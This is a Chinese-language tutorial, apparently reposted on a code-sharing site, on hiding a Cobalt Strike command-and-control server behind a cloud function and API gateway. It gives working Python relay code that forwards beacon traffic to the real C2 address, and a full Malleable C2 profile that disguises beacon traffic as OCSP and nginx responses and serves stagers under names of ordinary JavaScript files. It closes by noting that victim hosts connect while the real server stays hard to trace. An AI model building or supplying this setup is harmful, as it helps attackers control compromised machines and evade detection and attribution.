雲函數隱藏C2服務器


雲函數隱藏C2服務器

前言

  基於CS,隱藏C2服務端有很多手段,常見如下:

  1.利用域前置

  2.走cdn域名

  3.利用雲廠商服務

  其中域前置技術在18年及更早還比較有效,現在越來越多雲廠商如cloudflare開始禁止域前置行為

  雲函數核心思想其實很簡單,就是由第三方提供的服務接收C2客戶端流量,轉發給C2服務端,避免直接暴露服務端。

正文

  首先創建一個雲函數,創建方式選擇自定義創建

  點擊完成創建。

  進入函數,選擇觸發管理,選擇API網關觸發

   隨后點擊API服務名,進入API服務

   選擇編輯,修改配置

  點擊立即完成,發布

  在API基礎配置里記錄公網訪問地址

  返回函數管理

  選擇修改函數代碼,將內容改成如下即可

# -*- coding: utf8 -*- 
import json,requests,base64 
def main_handler(event, context): 
    response = {} 
    path = None 
    headers = None 
    try:
        C2='http://IP:PORT' 
        if 'path' in event.keys(): 
            path=event['path'] 
        if 'headers' in event.keys(): 
            headers=event['headers'] 
        if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' : 
            resp=requests.get(C2+path,headers=headers,verify=False) 
        else: 
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) 
            print(resp.headers)
            print(resp.content) 
        response={ 
            "isBase64Encoded": True, 
            "statusCode": resp.status_code, 
            "headers": dict(resp.headers), 
            "body": str(base64.b64encode(resp.content))[2:-1] 
        } 
    except Exception as e: 
        print(e) 
    finally: 
        return response
  部署發布即可,隨后在服務器的Cobaltstrike目錄下,新建cloud.profile文件,內容如下
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";
http-get {
    set uri "/api/x";
    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "nginx";
        output {
            base64;
            print;
        }
    }
}
http-stager {
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
       }
        output {
            base64;
            print;
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

  隨后打開Cobaltstrike,加載cloud.profile,創建監聽器,HTTP HOST為之前記錄的API網關地址,注意是80端口的那個

  隨后受害主機正常上線,但是已經經歷了雲函數隱匿,很難被溯源到真實地址。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM